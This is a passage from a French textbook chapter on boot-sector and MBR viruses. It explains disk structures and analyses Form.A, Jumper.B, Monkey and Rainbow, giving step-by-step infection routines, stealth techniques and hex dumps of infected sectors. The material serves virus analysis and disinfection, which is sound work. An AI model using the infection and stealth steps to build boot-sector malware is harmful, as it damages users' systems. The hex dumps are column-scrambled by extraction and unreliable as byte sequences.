Ces données sont nécessaires pour les différentes fonctions BIOS. Le DOS les utilisent également dans des buts variés. Certains virus les modifieront, mais la structure de la zone sera préservée. Vient ensuite le programme d’amorce proprement dit. Il se termine par une zone de texte qui sera affichée en cas d’échec de démarrage. Ce code, présent sur la disquette, est le premier à être exécuté par le BIOS depuis ce support. Les deux derniers octets sont la signature du secteur (55h AAh).
PAGET_Ch04 Page 139 Lundi, 11. avril 2005 5:24 17
139
4.3 Attaque du boot
4.3.2 Secteur d’amorce d’un disque dur Comme nous l’avons déjà signalé, un disque dur renferme 2 types de secteur d’amorce. Cette dualité est nécessaire car un même disque peut contenir plusieurs partitions, chacune d’entre elle ayant son secteur d’amorce. Vue au format hexadécimal, la structure de cette zone (cylindre 0, tête 1, secteur 1 pour la première partition) est similaire à celle d’une disquette. Ce secteur est le premier secteur logique de sa partition. Afin d’en permettre la gestion par le BIOS et le système d’exploitation, un secteur dit des partitions est également présent. Situé dans une zone extérieure à l’ensemble des partitions (cylindre 0, tête 0, secteur 1), sa structure sera développée plus avant dans ce chapitre. *********** Zone amorce ***********
© Dunod – La photocopie non autorisée est un délit
Sect. 0 ID OEM: MSWIN4.1 Octets par secteur: 512 Secteurs par groupe: 64 Secteurs réservés du début: 1 Exemplaires de la table FAT: 2 Entrées du répertoire Racine: 512 Nombre de secteurs du disque: (Inutilisé) Octet descripteur du Media: F8 Hexa Secteurs par FAT: 256 Secteurs par piste: 63 Têtes: 128 Secteurs cachés spéciaux: 63 Grand total du nombre de secteurs: 4193217 Numéro physique du disque: 128 Signature de Zone Amorce ‚tendue: 29 Hexa Numéro de Série du Volume: 413E1202 Hexa Nom du Volume: NO NAME Figure 4.7 — Zone d’amorce d’un disque dur (format visionneur)
Le bloc des paramètres BIOS (BPB) contient des données différentes de celles des disquettes. Le visionneur nous les fait découvrir. Parmi elles, on notera : • La taille d’un cluster (secteurs par groupe). C’est l’espace le plus petit pouvant être géré par le système. Limité à un secteur pour les disquettes, il varie selon la taille du disque dur. • Le nombre de fichiers acceptables dans le répertoire racine.
PAGET_Ch04 Page 140 Lundi, 11. avril 2005 5:24 17
140
Chapitre 4. Les virus système
• L’octet descripteur de Media. Il indique le type de machine permettant de traiter le support. Parmi les codes utilisés, citons : – F0h pour les disquettes 3 pouce 1/2. – F8h pour les disques durs. • La taille du disque et de ses FAT1. Que ce soit sur une disquette ou un disque dur, la zone programme est similaire. S’il ne cible pas le secteur de partition, c’est là que le virus s’installera. Ce code, présent sur le disque dur, est le second à être exécuté par le BIOS depuis ce support (le premier étant le code de partition).
4.3.3 Structure d’une disquette La figure suivante présente la structure d’une disquette 1.44 Mo après un formatage standard. Durant le formatage, le DOS divise la disquette plusieurs parties logiques : • • • •
La zone d’amorce (BOOT). La table d’allocation des fichiers (FAT – File Allocation Table). Le répertoire racine (ROOT). La zone de données.
Décrit précédemment, le secteur d’amorçage se situe dans le premier secteur physique du disque. La table d’allocation des fichiers (FAT) est située après le secteur d’amorce. Elle est utilisée par le DOS pour garder la trace des secteurs libres, utilisés ou endommagés. Pour chaque fichier, la FAT gère une sorte d’index dans lequel sont définis et repérés tous les clusters qui le constitue. C’est une zone vitale ; si elle est endommagée, les informations enregistrées sur le disque risquent de devenir inaccessibles alors que les fichiers sont encore intacts. Pour éviter cette situation, une seconde FAT, copie conforme de la première, est tenue à jour lors de chaque modification. Chaque information enregistrée dans la FAT d’une disquette comporte 12 octets. Chaque champ de la FAT contient une valeur correspondant à l’état d’utilisation du cluster référencé.
1. File Allocation Table ou Table d’Allocation de Fichiers. Zone dédiée au système de gestion des fichiers utilisé par le DOS (voir paragraphe suivant).
PAGET_Ch04 Page 141 Lundi, 11. avril 2005 5:24 17
141
4.3 Attaque du boot
Tableau 4.2 — Descriptif d’une FAT12 FAT12
Description
000h
Cluster inutilisé
FF0h-FF6h
Cluster réservé
FF7h
Cluster défectueux
FF8h-FFFh
Dernier cluster du fichier ou de répertoire
XXXh (autre valeur)
n° cluster suivant du fichier ou du répertoire
© Dunod – La photocopie non autorisée est un délit
Avant la zone de données, se trouve le répertoire racine. Quand un fichier est créé sous la racine, les informations le concernant (nom, extension, date, taille etc.) sont mémorisées dans des espaces dédiés à cet effet. Parmi ces informations, figure le numéro du premier cluster attribué au fichier. Si le fichier a besoin de plusieurs clusters, leurs numéros et séquencement sont stockés dans la FAT.
Figure 4.8 — Structure d’une disquette 1,44 Mo
4.3.4 Structure d’un disque dur Un disque dur débute avec son secteur de partition. Il s’agit du premier secteur physique du disque (Cylindre 0, Tête 0, Secteur 1). Plus en aval, se trouve la zone d’amorce (Cylindre 0, Tête 1, Secteur 1). Entre ces deux secteurs stratégiques, un espace reste inoccupé. Il s’agit de l’ensemble des secteurs liés conjointement au cylindre 0 et à la tête 0. Viennent ensuite les FAT et le répertoire racine selon le même schéma que pour les disquettes.
PAGET_Ch04 Page 142 Lundi, 11. avril 2005 5:24 17
142
Chapitre 4. Les virus système
Figure 4.9 — Structure d’un disque dur
À la différence des disquettes, chaque information enregistrée dans la FAT comporte 16 ou 32 bits. Tableau 4.3 — Descriptif des FAT16 et FAT32 FAT16
FAT32
Description
0000h
00000000h
Cluster inutilisé
FFF0h-FFF6h
0FFFFFF0h-0FFFFFF6h
Cluster réservé
FFF7h
0FFFFFF7h
Cluster défectueux
FFF8h-FFFFh
0FFFFFF8h-0FFFFFFFh
Dernier cluster du fichier ou de répertoire
XXXXh (autre valeur)
0XXXXXXXh (autre valeur)
n° cluster suivant du fichier ou du répertoire
4.3.5 Le virus Form Form fut l’un des virus les plus répandus en Europe. Il contamine le secteur d’amorçage des disquettes et des disques durs. Sur une disquette, le virus remplace le secteur de démarrage habituel. Il copie la suite de son code (code complémentaire) dans le premier secteur libre qu’il rencontre. Dans le secteur suivant, il recopie le secteur de démarrage original. Sur les disques durs, il investit les 2 derniers secteurs physiques du disque. En voici le fonctionnement simplifié. Il s’agit, ni plus ni moins, de la mise en pratique des éléments théoriques jusqu’ici exposés.
PAGET_Ch04 Page 143 Lundi, 11. avril 2005 5:24 17
143
4.3 Attaque du boot
Démarrage depuis une disquette infectée 1. Saut court (JUMP SHORT : EBh 53h) pour préserver la zone de données (BPB). 2. Initialisation de la pile et des registres de segment. 3. Diminution de la taille mémoire disponible (soustraction de 2 dans la variable BIOS située à l’adresse 0:413h). Le virus se réserve la zone des 2 kilooctets supérieurs de la mémoire vive. 4. Calcul de l’adresse du segment de cette zone et transfert du secteur de démarrage infecté (instruction MOVSW). 5. Empilage de l’adresse ou devra se poursuivre le programme (instructions PUSH). *********** Zone amorce *********** Sect. 0 00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 00000090: 000000A0:
EB 02 00 8E FE 00 52 26 F3 00 41
53 E0 00 D8 12 01 50 A1 A5 8B 00
90 00 00 C4 2E 00 07 13 06 16 BB
49 40 00 1E 00 80 B8 04 B8 4F 4C
42 0B 00 1C F0 01 C0 B1 9A 00 00
4D F0 00 00 87 FA 07 06 00 CD BE
20 09 00 88 E9 33 8E D3 50 13 41
20 00 00 16 00 C0 D8 E0 BB 72 00
– – – – – – – – – – –
33 12 00 FD F0 8E 33 8E FE FE BF
2E 00 00 01 07 D0 F6 C0 01 CB 46
33 02 FA 0A 01 BC 26 33 B8 0E 03
00 00 33 D2 00 FE 83 FF 01 1F E8
02 00 ED 79 00 7B 2E B9 02 E8 C7
01 00 B8 08 06 FB 13 FF 8B 2F 00
01 00 C0 89 01 1E 04 00 0E 00 B4
00 00 07 01 00 56 02 FC 4D E8 04
.S.IBM 3.3..... ...@............ ...........3.... ............y... ................ ......3.....{..V RP......3.&..... &.........3..... ......P........M ...O...r..../.. A..L..A..F......
© Dunod – La photocopie non autorisée est un délit
Figure 4.10 — Début de la zone d’amorce infectée par Form.A
6. Lecture du code complémentaire du virus et chargement à la suite du code précédent (Int 13h, fonction02h). 7. Saut dans la partie recopiée (instruction RETF) pour poursuivre l’exécution du code viral. 8. Lecture et chargement du secteur de démarrage sain à son adresse habituelle (Int 13h, fonction 02h). 9. Routine de contamination du disque dur. Elle sera détaillée au paragraphe suivant. Si elle échoue ou si le disque dur est déjà contaminé, le processus saute immédiatement à l’étape suivante. 10. Détournement de l’interruption 13h pour faire pointer le vecteur sur le code viral dédié à l’infection des disquettes. 11. Lecture de la date système. Selon la valeur lue, le virus détournera ou non, l’interruption 09h (IRQ1 : clavier) pour qu’elle pointe sur la routine virale dédiée aux dommages (il ne s’agit ici que de perturbation). 12. Fin du processus. Exécution du BOOT sain précédemment chargé en mémoire.
PAGET_Ch04 Page 144 Lundi, 11. avril 2005 5:24 17
144
Chapitre 4. Les virus système
En figure 4.10, l’une des chaînes hexadécimales caractéristique du virus Form est notée en gras. Sans anti-virus, elle pourrait permettre la détection de cette variante.
Contamination du disque dur Voici maintenant le détail de la précédente étape 9 : 1. Lecture des paramètres de l’unité de disque dur pour en connaître sa taille (Int 13h, fonction 08h). 2. Lecture du secteur de partition du disque dur pour connaître la partition active (Int 13h, fonction 02h). 3. Lecture du secteur de démarrage de cette partition (Int 13h, fonction 02h). Le processus se termine sans contamination si : – le disque est déjà contaminé, – la taille du secteur est différente de 512 octets, 4. Écriture du secteur de démarrage sain dans le dernier secteur physique du disque dur (Int 13h, fonction 03h), 5. Écriture du code complémentaire du virus dans l’avant dernier secteur physique du disque dur (Int 13h, fonction 03h), 6. Recopie du BPB du secteur de démarrage de la partition active à l’emplacement qui lui est réservé dans le code du virus, 7. Écriture de la signature de fin de secteur (55h AAh) à l’emplacement qui lui est réservé dans le code du virus, 8. Écriture des 512 premiers octets du code du virus en lieu et place du secteur de démarrage de la partition active (Int 13h, fonction 03h).
Figure 4.11 — Synoptique de l’infection d’un disque dur par le virus FORM.A
Contamination des disquettes Le vecteur de l’interruption 13h pointe sur le code du virus. C’est celui ci qui sera exécuté avant qu’il ne redonne la main au code légitime dédié à cette interruption :
PAGET_Ch04 Page 145 Lundi, 11. avril 2005 5:24 17
4.3 Attaque du boot
145
1. Analyse des paramètres liés à l’appel de l’interruption. Le processus d’infection se poursuit si : – la cible est une disquette, – la fonction appelée est la lecture d’un secteur (Int13h, fonction 02h), – le cylindre ciblé est le cylindre 0, 2. Lecture du secteur de démarrage de la disquette (Int 13h, fonction 02h). Le processus se termine sans contamination si : – le disque est déjà contaminé, – la taille du secteur est différente de 512 octets,
© Dunod – La photocopie non autorisée est un délit
3. Localisation et lecture de la première FAT (Int 13h, fonction 02h). Recherche des 2 premiers secteurs libres qui seront déclarés défectueux (Int 13h, fonction 03h). 4. Mise à jour de la seconde FAT (Int 13h, fonction 02h & 03h). 5. Lecture du secteur de démarrage de la disquette (Int 13h, fonction 02h). 6. Écriture de ce secteur vers le second secteur désigné mauvais (Int 13h, fonction 03h). 7. Écriture du code complémentaire du virus dans le premier secteur désigné mauvais (Int 13h, fonction 03h). 8. Recopie du BPB du secteur de démarrage de la disquette à l’emplacement qui lui est réservé dans le code du virus. 9. Écriture de la signature de fin de secteur (55h AAh) à l’emplacement qui lui est réservé dans le code du virus. 10.Écriture des 512 premiers octets du code du virus en lieu et place du secteur de démarrage de la disquette (Int 13h, fonction 02h).
Figure 4.12 — Synoptique de l’infection d’une disquette par le virus FORM.A
PAGET_Ch04 Page 146 Lundi, 11. avril 2005 5:24 17
146
Chapitre 4. Les virus système
Perturbation produite par le virus Form Le 24 de chaque mois, l’interruption clavier (INT 09h) est détournée. Ceci entraîne l’émission de bruits de cliquetis chaque fois qu’une touche est activée. Un message, jamais affiché, est présent en fin du secteur complémentaire du virus. 00000170: 00000180: 00000190: 000001A0: 000001B0: 000001C0: 000001D0: 000001E0: 000001F0:
4D 65 6F 67 20 20 69 74
2D 65 6E 20 64 64 63 6F
56 74 65 74 6F 61 21 20
69 69 20 68 65 74 20 43
72 6E 77 69 73 61 46 6F
75 67 68 73 6E 21 75 72
73 73 6F 20 27 20 63 69
20 20 27 74 74 44 6B 6E
– – – – – – – –
73 74 73 65 20 6F 69 6E
54 65 6F 20 78 64 6E 6E 65
68 6E 20 72 74 65 27 67 2E
65 64 65 65 2E 73 74 73
20 73 76 61 46 74 20 20
46 20 65 64 4F 72 70 67
4F 67 72 69 52 6F 61 6F
52 72 79 6E 4D 79 6E 20
The FOR M-Virus sends gr eetings to every one who’s readin g this text.FORM doesn’t destroy data! Don’t pan ic! Fuckings go to Corinne
Figure 4.13 — Message contenu dans le virus Form.A
4.4 ATTAQUE DU MBR 4.4.1 Structure du secteur des partitions Alors que la zone d’amorce est le premier secteur logique d’un disque, le secteur des partitions se situe en amont, dans le premier secteur physique du disque dur. Sa structure hexadécimale est particulière. Elle aussi contient un programme et une zone de données. Le secteur débute par le code de partition. Il s’agit du premier programme situé sur le disque dur et exécuté par le BIOS lors du démarrage de la machine. Sa taille ne doit pas dépasser 444 octets car la table des partitions débute systématiquement à l’offset1 1BEh. Dans cette table, chaque partition est décrite par une structure de 16 octets. Elle n’offre de place que pour quatre entrées, ce qui limite le nombre de partitions par disque à quatre.
1. Nombre d’octets à sauter depuis le début d’une zone de code (ici le secteur de partition) pour atteindre l’information recherché (ici la table des partitions).
PAGET_Ch04 Page 147 Lundi, 11. avril 2005 5:24 17
147
4.4 Attaque du MBR
******************* Table de Partitions ******************* Secteur Physique: Cyl 00000000: FA 33 C0 8E 00000010: BF 00 06 B9 00000020: B3 04 80 3C 00000030: CB 75 EF CD 00000040: CB 74 1A 80 00000050: 56 BB 07 00 00000060: BB 00 7C B8 00000070: 4F 75 ED BE 00000080: 55 AA 75 C7 00000090: 20 64 65 20 000000A0: 6E 20 76 61 000000B0: 61 75 20 63 000000C0: 67 65 6D 65 000000D0: 65 20 64 27 000000E0: 00 53 79 73 000000F0: 69 74 61 74 00000100: 00 00 00 00 00000110: 00 00 00 00 00000120: 00 00 00 00 00000130: 00 00 00 00 00000140: 00 00 00 00 00000150: 00 00 00 00 00000160: 00 00 00 00 00000170: 00 00 00 00 00000180: 00 00 00 00 00000190: 00 00 00 00 000001A0: 00 00 00 00 000001B0: 00 00 00 00 000001C0: 01 00 06 FE 000001D0: 00 00 00 00 000001E0: 00 00 00 00 000001F0: 00 00 00 00
0 D0 00 80 18 3C B4 01 A9 8B 70 6C 6F 6E 65 74 69 00 00 00 00 00 00 00 00 00 00 00 00 7F 00 00 00
Tête 0 Secteur BC 00 7C – 8B 01 F2 A5 – EA 74 0E 80 – 3C 8B 14 8B – 4C 00 74 F4 – BE 0E CD 10 – 5E 02 57 CD – 13 06 EB D3 – BE F5 EA 00 – 7C 61 72 74 – 69 69 64 65 – 00 75 72 73 – 20 74 20 64 – 75 78 70 6C – 6F 8A 6D 65 – 20 6F 6E 20 – 61 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00 04 3F 00 – 00 00 00 00 – 00 00 00 00 – 00 00 00 00 – 00
1 F4 1D 00 02 8B EB 5F E1 00 74 45 64 20 69 64 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
50 06 75 8B 06 F0 73 06 00 69 72 75 73 74 27 73 00 00 00 00 00 00 00 00 00 00 00 00 86 00 00 00
07 00 1C EE AC EB 0C BF 54 6F 72 20 79 61 65 65 00 00 00 00 00 00 00 00 00 00 00 00 FA 00 00 00
50 00 83 83 3C FE 33 FE 61 6E 65 63 73 74 78 6E 00 00 00 00 00 00 00 00 00 00 00 00 3F 00 00 00
1F BE C6 C6 00 BF C0 7D 62 20 75 68 74 69 70 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FB BE 10 10 74 05 CD 81 6C 6E 72 61 8A 6F 6C 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 55
FC 07 FE FE 0B 00 13 3D 65 6F 20 72 6D 6E 6F 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 AA
.3.....|..P.P.. ................ ...<.t..<.u..... .u......L....... .t..<.t.....<.t. V.......^....... ..|...W.._s.3... Ou...........}.= U.u.....|..Table de partition no n valide.Erreur au cours du char gement du syst.m e d’exploitation .Syst.me d’explo itation absent.. ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ .... .?.....?... ................ ................ ..............U.
© Dunod – La photocopie non autorisée est un délit
Figure 4.14 — Secteur de partition d’un disque dur (format hexadécimal)
Le secteur se termine par la signature 55h AAh. ******************* Table de Partitions ******************* Secteur Physique: Cyl 0 Tête 0 Secteur 1 +------+----+--------------------+--------------------+-----------+-----------+ |Systè.|Amo-| Position de D‚but | Position de Fin |No 1e Sect.| Nombre de | |Expl. |rce |Tête Cylindr Secteur|Tête Cylindr Secteur| physique | Secteurs | +------+----+--------------------+--------------------+-----------+-----------+ |BIGDOS| Oui| 1 0 1 | 25 260 63 | 63| 4192902| |Libre | Non| 0 0 0 | 0 0 0 | 0| 0| |Libre | Non| 0 0 0 | 0 0 0 | 0| 0| |Libre | Non| 0 0 0 | 0 0 0 | 0| 0| +------+----+--------------------+--------------------+-----------+-----------+ Figure 4.15 — Secteur de partition d’un disque dur (format visionneur)
PAGET_Ch04 Page 148 Lundi, 11. avril 2005 5:24 17
148
Chapitre 4. Les virus système
Le visionneur employé pour le secteur d’amorce est aussi utilisable ici. Il illustre les données de la table.
Figure 4.16 — Synoptique de l’infection d’un secteur des partitions (MBR)
4.4.2 Le virus Jumper.B Jumper.B est un virus français, tout comme Form, il fut l’un des plus répandus dans notre pays. Il contamine le secteur d’amorçage des disquettes et le secteur de partitions des disques durs. Sur une disquette, le virus remplace le secteur de démarrage. Il copie la suite de son code (code complémentaire) dans un secteur dépendant du type de support infecté. Pour tous les types de disquettes, sauf celles à l’ancien format 1,2 Mo, le secteur sélectionné est le dernier du répertoire racine. Pour les disquettes 1,44 Mo, il s’agit du cylindre 0, tête 1, secteur 15. Sur les disques dur, le virus utilise systématiquement le cylindre 0, tête 0, secteur 14. Le code du virus débute par un saut long (JUMP FAR : EAh 05h 00h C0h 07h) vers la zone mémoire où le BIOS a positionné le secteur de démarrage lorsque la machine démarre. Les instructions suivantes exécutées sont la copie conforme de celles présentes dans le secteur d’origine ; c’est tout d’abord un second saut (JUMP SHORT : EBh 37h). La zone de données (BPB) est préservée. L’emplacement de la table des partitions (à compter de l’offset 1BEh) est également gardé intact comme il est aisé de le constater en figure 4.17.
PAGET_Ch04 Page 149 Lundi, 11. avril 2005 5:24 17
149
4.4 Attaque du MBR
*********** Zone amorce *********** 00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 00000090: 000000A0:
EA 02 00 4D 7C 00 0A C4 A5 06 B8
05 E0 00 45 31 90 72 06 FA 50 01
00 00 00 20 C0 B1 0C 26 C7 CB 02
C0 40 00 20 8E 06 24 88 06 1E CD
07 0B 00 20 D0 A3 1F 26 70 53 13
EB F0 00 20 89 13 75 C6 00 1E 72
37 09 29 46 DC 04 08 01 2F 07 C0
0F 00 FD 41 8E D3 B8 89 01 8B 80
– – – – – – – – – – –
00 12 10 54 D8 E0 ED DE 8C 4F FA
00 00 6D 31 89 8E 0E E8 06 07 80
01 02 08 32 C7 C0 40 36 72 8B 74
00 00 4E 20 A1 A1 CD 00 00 57 05
02 00 4F 20 13 6C 10 BE FB 09 B2
01 00 20 20 04 04 EB 70 B8 80 80
01 00 4E BB 2D 80 F8 00 93 E2 E8
00 00 41 00 02 FC 80 A5 00 80 13
......7......... ...@............ ......)..m.NO NA ME FAT12 .. |1............-. ............l... .r.$u....@..... ..&.&.....6..p.. ....p./...r..... .P..S...O..W.... .....r....t.....
000001B0: 000001C0: 000001D0: 000001E0: 000001F0:
00 0D 72 49 20
F8 0A 65 4F 20
03 52 73 20 20
00 65 73 20 53
01 6D 65 20 59
FD 70 7A 20 53
0F 6C 20 20 00
00 61 74 20 00
– – – – –
01 63 6F 53 00
F0 65 75 59 00
05 7A 63 53 00
00 20 68 4D 00
01 65 65 53 00
F9 74 0D 44 00
75 20 0A 4F 55
65 70 00 53 AA
..............ue ..Remplacez et p ressez touche... IO SYSMSDOS SYS........U.
Figure 4.17 — Éléments de la zone d’amorce d’une disquette infectée par Jumper.B
Le code du virus débute de façon habituelle. Après l’initialisation des registres, il :
© Dunod – La photocopie non autorisée est un délit
• Réduit la taille de la mémoire disponible pour s’en réserver un espace dans la zone supérieure. • Transfert son code dans l’espace réservé. • Saute dans la zone pour continuer l’exécution. Avant l’exécution du saut, le virus lit la valeur du compteur de ticks (chronomètre). En fonction de celle ci, il entrera parfois dans une boucle sans fin qui remplit l’écran de caractères Epsilon (EDh). Dans le cas contraire, il détourne l’interruption 1Ch et poursuit son l’exécution en zone haute de la mémoire. Il charge le secteur original (BOOT ou MBR) qu’il avait sauvegardé au moment de son infection. Vérifiant le type de support, il infecte le disque dur dans la mesure ou il constate qu’il a été lancé depuis une disquette. Pour finir, il redonne la main au secteur original. Les interruptions 13h ou 21h n’ont pas été détournées. Une fois le code viral résident en mémoire, l’infection des disquettes ne peut encore avoir lieu. Le code viral est cependant appelé au travers de l’interruption 1Ch, c’est-à-dire 18,2 fois par seconde. Une procédure complexe lui permet de définir le moment opportun pour détourner l’interruption 21h sans perturber un éventuel chargement du système d’exploitation1. 1. WHALLEY Ian (avril 1995), Jumper: Jumping the Gun, Virus Bulletin, avril 1995, pp 11-12.
PAGET_Ch04 Page 150 Lundi, 11. avril 2005 5:24 17
150
Chapitre 4. Les virus système
Jumper utilise en effet des fonctions du DOS (INT 21h) pour infecter les disquettes, au lieu des fonctions BIOS (INT 13h) utilisées en général par les autres virus système. Une fois détournées, Jumper intercepte les fonctions 0Eh (sélection d’un disque) et 0Ah (lecture d’une chaîne de caractères). Si ces appels sont en relation avec un événement sur les lecteurs A: ou B: les disquettes seront infectées. Elles le seront si les deux premiers octets du premier secteur physique ne sont pas EAh 05h, cas d’une disquette déjà infectée. ******************* Table de Partitions ******************* 00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 00000090: 000000A0:
EA BF B3 CB 7C 00 0A C4 A5 06 B8
05 00 04 75 31 90 72 06 FA 50 01
00 06 80 EF C0 B1 0C 26 C7 CB 02
C0 B9 3C CD 8E 06 24 88 06 1E CD
07 00 80 18 D0 A3 1F 26 70 53 13
EB 01 74 8B 89 13 75 C6 00 1E 72
37 F2 0E 14 DC 04 08 01 2F 07 C0
0E A5 80 8B 8E D3 B8 89 01 8B 80
– – – – – – – – – – –
00 EA 3C 4C D8 E0 ED DE 8C 4F FA
80 1D 00 02 89 8E 0E E8 06 07 80
00 06 75 8B C7 C0 40 36 72 8B 74
07 00 1C EE A1 A1 CD 00 00 57 05
50 00 83 83 13 6C 10 BE FB 09 B2
1F BE C6 C6 04 04 EB 70 B8 80 80
FB BE 10 BB 2D 80 F8 00 93 E2 E8
FC 07 FE 00 02 FC 80 A5 00 80 13
......7.....P.. ................ ...<.t..<.u..... .u......L....... |1............-. ............l... .r.$u....@..... ..&.&.....6..p.. ....p./...r..... .P..S...O..W.... .....r....t.....
000001B0: 000001C0: 000001D0: 000001E0: 000001F0:
00 01 00 00 00
F8 00 00 00 00
03 06 00 00 00
00 FE 00 00 00
01 7F 00 00 00
FD 04 00 00 00
0F 3F 00 00 00
00 00 00 00 00
– – – – –
01 00 00 00 00
F0 00 00 00 00
05 86 00 00 00
00 FA 00 00 00
01 3F 00 00 00
F9 00 00 00 00
80 00 00 00 55
01 00 00 00 AA
................ .... .?.....?... ................ ................ ..............U.
Figure 4.18 — Éléments du secteur de partitions
d’un disque dur infecté par Jumper.B
4.5 TECHNIQUES AVANCÉES Ce chapitre pourrait se poursuivre avec de nombreux autres virus. Ils ont tous leurs particularités. Voyons simplement ici quelques points particuliers intéressants.
4.5.1 Modification de la CMOS Le démarrage depuis une disquette saine est indispensable pour l’élimination d’un virus système. Afin d’interdire cet usage, le virus Exebug tente d’empêcher l’accès au lecteur de disquette lors du démarrage de l’ordinateur. Sur certaines machines, il est capable de modifier la configuration de la mémoire RAM CMOS utilisée par le BIOS en indiquant une absence de lecteur de disquette.
PAGET_Ch04 Page 151 Lundi, 11. avril 2005 5:24 17
4.5 Techniques avancées
151
Forçant ainsi le démarrage sur le disque C:, il interdit l’utilisation d’une disquette saine, et donc d’un anti-virus. La solution la mieux adaptée pour restaurer la configuration nécessite d’atteindre le SETUP de la machine pour y réactiver le lecteur.
4.5.2 Furtivité Pour le virus, il s’agit de se dissimuler aux yeux de l’anti-virus comme à ceux de l’utilisateur. La furtivité peut se traduire par :
© Dunod – La photocopie non autorisée est un délit
• L’interception des requêtes en lecture du secteur infecté afin de retourner le contenu du secteur original au programme appelant. En milieu infectieux, si la fonction 02h de l’interruption 13h est détournée, le virus sera à même de dissimuler sa présence. Si la demande de lecture concerne un secteur où se trouve localisé le virus, celui ci renverra une image saine provenant du secteur sauvegardé. • L’exécution d’un redémarrage à chaud (via l’interruption 19h) alors qu’un redémarrage à froid est demandé (saut vers FFFFh:0000h). • L’interception des requêtes en écriture vers le secteur infecté. Celles-ci se produisent mais la réinfection est immédiate. FDISK /MBR1 est, par exemple, rendu inefficace. • L’interdiction de lecture de certains secteurs (détournement des interruptions 0Eh et 76h). • L’interception des requêtes d’affichage de l’état de la mémoire afin qu’une commande telle que CHKDSK retourne une taille mémoire totale disponible maximale (généralement 655.360 octets). • L’installation du code dans une zone immédiatement supérieure à la barrière des 640 Ko. Cette technique fut utilisée par EDV. Là aussi, CHKDSK retourne la valeur standard.
4.5.3 Inaccessibilité au disque Interdire l’accès au disque depuis un environnement sain est, on l’imagine, l’un des concepts les plus recherché par les auteurs de virus. Il y a pour cela diverses méthodes. Certains virus ne conservent pas l’espace dédié à la table de partition. Cette technique rend l’accès impossible au disque après un démarrage sur une disquette saine. Une tentative d’accès sur le disque C: renvoie un message signalant l’absence de disque. Dans ce cas, la table est reconstituée en mémoire lors d’un démarrage en environnement contaminé. 1. Le programme FDISK est dédié à la configuration des disques durs. Lancé avec l’option /MBR il permet la réécriture du programme d’amorce sans toucher à la table des partitions.
PAGET_Ch04 Page 152 Lundi, 11. avril 2005 5:24 17
152
Chapitre 4. Les virus système
Face à cette situation, il est tentant de lancer un formatage bas niveau du disque. Toutes ces manipulations qui entraînent de facto la perte des données sont bien évidemment inadaptées. La restauration de quelques octets grâce à l’utilisation d’un éditeur hexadécimal offrant un accès en mode physique sur le disque résout sans délai le problème. L’un des virus utilisant ce procédé date d’octobre 1992 : c’est Monkey. Le secteur des partitions est intégralement écrasé. Une copie du secteur original est sauvegardée sur le troisième secteur physique du disque. Tout comme le reste du secteur, la table des partitions n’a cependant pas la physionomie habituelle. *********************** 1 secteur sélectionné *********************** .. 000001B0: 000001C0: 000001D0: 000001E0: 000001F0:
2E 2F 2E 2E 2E
2E 2E 2E 2E 2E
2E 28 2E 2E 2E
2E D0 2E 2E 2E
2E 51 2E 2E 2E
2E 2A 2E 2E 2E
2E 11 2E 2E 2E
2E 2E 2E 2E 2E
– – – – –
2E 2E 2E 2E 2E
2E 2E 2E 2E 2E
2E A8 2E 2E 2E
2E D4 2E 2E 2E
2E 11 2E 2E 2E
2E 2E 2E 2E 2E
AE 2E 2E 2E 7B
2F 2E 2E 2E 84
.............../ /.(.Q*.......... ................ ................ ..............{.
nota : cryptage XOR 2Eh XOR 2Eh = 00h AEh XOR 2Eh = 80h (offset 1BEh) 2Fh XOR 2Eh = 01h (offset 1BFh) Figure 4.19 — Physionomie d’une table de partition après infection par Monkey
Une étude attentive du secteur démontre que chaque octet a été crypté par une fonction XOR dont la clé est 2Eh. L’éradication manuelle consiste alors à atteindre le disque en mode physique et à transférer vers le premier secteur, les données décryptées présentes dans le troisième. Un autre virus, Rainbow, est beaucoup plus pénalisant. Une fois le disque infecté, il n’est plus possible de l’atteindre, aussi bien en mode logique qu’en mode physique. Le processus de BOOT depuis une disquette saine n’aboutit jamais1. Seuls 25 octets du secteur des partitions sont modifiés. Le reste du code viral est écrit dans 5 autres secteurs. Les 16 octets relatifs à la partition active sont sauvegardés dans le code complémentaire (secteur 6, offset 132h)2 et remplacés par la séquence : 00 00 01 00 05 00 B8 0B 00 00 00 00 BC 01 00 00
1. Le virus est multipartite et non crypté. Il contient le message : HiAnMiT – roy g biv *4U2NV* 04/12/94 Roy g biv est l’acronyme des couleurs de l’arc-en-ciel : Red Orange Yellow Green Blue Indigo Violent. 4U2NV peut se lire For you to envy. 2. KAMINSKY Jakub (1995), Rainbow : To Envy or to Hate, Virus Bulletin, septembre 1995, pp12-13.
PAGET_Ch04 Page 153 Lundi, 11. avril 2005 5:24 17
4.5 Techniques avancées
153
Cette séquence est interprétée par le système d’exploitation comme étant relative à une partition DOS étendue non-active : • • • •
Démarrant en cylindre 0, tête 0, secteur 1. Se terminant en cylindre 523, tête 0, secteur 56. Démarrant au niveau du premier secteur physique du disque. Contenant 444 secteurs.
L’information importante est l’adresse du premier secteur qui se trouve être à la fois défini comme secteur de partition et de démarrage. On a alors affaire à une partition récursive que le DOS, depuis la version 5, ne sait gérer. Il s’agit bien d’un bogue qui avait été mis à jour 2 ans plus tôt par Mike Lambert & Charlie Moore1. Rapidement corrigé par IBM dès la version PCDOS 6.1, Microsoft fit la sourde oreille laissant son fichier IO.SYS vulnérable avec les versions suivantes de MS-DOS. Les solutions pour atteindre un disque dur infecté sont les suivantes : • Démarrer avec un MS-DOS plus ancien (v3.3 ou V4.01). • Démarrer avec un DOS IBM récent (PCDOS 6.1 et supérieur). • Modifier le fichier IO.SYS2.
4.5.4 Utilisation de secteurs supplémentaires
© Dunod – La photocopie non autorisée est un délit
